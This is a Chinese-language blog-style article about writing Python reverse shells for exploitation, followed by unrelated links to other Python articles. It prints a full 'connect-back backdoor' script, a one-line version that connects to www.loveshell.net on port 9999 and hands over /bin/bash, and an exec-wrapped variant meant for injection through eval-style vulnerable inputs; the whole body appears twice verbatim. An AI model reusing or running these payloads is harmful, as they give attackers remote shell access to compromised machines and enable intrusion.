在漏洞利用Python代碼真的很爽
更新時間:2007年08月26日 21:57:56 作者:
不知道怎么忽然想看這個,呵呵
小我的python的反shell的代碼
#!/usr/bin/python
# Python Connect-back Backdoor
# Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# Version: 1.0
# Date: July 15th 2006
import sys
import os
import socket
shell = "/bin/sh"
def usage(programname):
print "Python Connect-back Backdoor"
print "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
print "Date: July 15th 2006\n"
print "Usage: %s <conn_back_host> <port>\n" % programname
def main():
if len(sys.argv) != 3:
usage(sys.argv[0])
sys.exit(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
print "[+] Connect ok."
except:
print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2])
sys.exit(2)
s.send("-------------------- Python Connect-back Backdoor --------------------\n")
s.send("----------------------------- By wofeiwo -----------------------------\n")
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
global shell
os.system(shell)
print "See U!"
s.close()
if __name__ == "__main__": main()
用在漏洞利用的時候不太好,不是么?我們想要短點(diǎn)的,節(jié)省下就是
import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\r\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\r\n");os.system("/bin/bash");s.close();s.send("See u next time!\r\n");
如何?很短了吧?
不過很可能漏洞利用的地方不允許多語句,譬如允許的輸入是在eval當(dāng)中,不能多語句(后面有解釋)那么還可以變化下
exec 'import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\\r\\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\\r\\n");os.system("/bin/bash");s.close();s.send("See u next time!\\r\\n");';
注意是\\r\\n哦,即使在''里好象\r\n一樣會成為換行,所以其實這里即使不用;一樣可以構(gòu)造好代碼的,另外,為什么不用eval呢?
翻了下手冊
exec語句用來執(zhí)行儲存在字符串或文件中的Python語句。例如,我們可以在運(yùn)行時生成一個包含Python代碼的字符串,然后使用exec語句執(zhí)行這些語句
eval語句用來計算存儲在字符串中的有效Python表達(dá)式
呵呵,這里用eval好象會出錯.
YY一下,思想是相同的,但是具體到語言又是不一樣的,如何跳出語言的限制呢?是個問題......
小我的python的反shell的代碼
#!/usr/bin/python
# Python Connect-back Backdoor
# Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# Version: 1.0
# Date: July 15th 2006
import sys
import os
import socket
shell = "/bin/sh"
def usage(programname):
print "Python Connect-back Backdoor"
print "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
print "Date: July 15th 2006\n"
print "Usage: %s <conn_back_host> <port>\n" % programname
def main():
if len(sys.argv) != 3:
usage(sys.argv[0])
sys.exit(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
print "[+] Connect ok."
except:
print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2])
sys.exit(2)
s.send("-------------------- Python Connect-back Backdoor --------------------\n")
s.send("----------------------------- By wofeiwo -----------------------------\n")
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
global shell
os.system(shell)
print "See U!"
s.close()
if __name__ == "__main__": main()
用在漏洞利用的時候不太好,不是么?我們想要短點(diǎn)的,節(jié)省下就是
import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\r\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\r\n");os.system("/bin/bash");s.close();s.send("See u next time!\r\n");
如何?很短了吧?
不過很可能漏洞利用的地方不允許多語句,譬如允許的輸入是在eval當(dāng)中,不能多語句(后面有解釋)那么還可以變化下
exec 'import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\\r\\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\\r\\n");os.system("/bin/bash");s.close();s.send("See u next time!\\r\\n");';
注意是\\r\\n哦,即使在''里好象\r\n一樣會成為換行,所以其實這里即使不用;一樣可以構(gòu)造好代碼的,另外,為什么不用eval呢?
翻了下手冊
exec語句用來執(zhí)行儲存在字符串或文件中的Python語句。例如,我們可以在運(yùn)行時生成一個包含Python代碼的字符串,然后使用exec語句執(zhí)行這些語句
eval語句用來計算存儲在字符串中的有效Python表達(dá)式
呵呵,這里用eval好象會出錯.
YY一下,思想是相同的,但是具體到語言又是不一樣的,如何跳出語言的限制呢?是個問題......
相關(guān)文章
python統(tǒng)計字符串中字母出現(xiàn)次數(shù)代碼實例
這篇文章主要介紹了python統(tǒng)計字符串中字母出現(xiàn)次數(shù)代碼實例,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下2020-03-03
Python數(shù)據(jù)結(jié)構(gòu)與算法中的棧詳解(2)
這篇文章主要為大家詳細(xì)介紹了Python中的棧,文中示例代碼介紹的非常詳細(xì),具有一定的參考價值,感興趣的小伙伴們可以參考一下,希望能夠給你帶來幫助2022-03-03
python神經(jīng)網(wǎng)絡(luò)pytorch中BN運(yùn)算操作自實現(xiàn)
這篇文章主要為大家介紹了python神經(jīng)網(wǎng)絡(luò)pytorch中BN運(yùn)算操作自實現(xiàn)示例,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2022-05-05
從零開始安裝Conda并搭建Python環(huán)境的全過程
conda是一個開源的包、環(huán)境管理器,可以用于在同一個機(jī)器上創(chuàng)建不同的虛擬環(huán)境,這篇文章主要介紹了安裝Conda并搭建Python環(huán)境的相關(guān)資料,需要的朋友可以參考下2025-04-04
如何將Python字符串轉(zhuǎn)換為JSON的實現(xiàn)方法
在本教程中,你將學(xué)習(xí)JSON的基礎(chǔ)知識,它是什么,常用在哪里以及它的語法,還將看到如何在Python中將字符串轉(zhuǎn)換為JSON,具有一定的參考價值,感興趣的小伙伴們可以參考一下2021-12-12

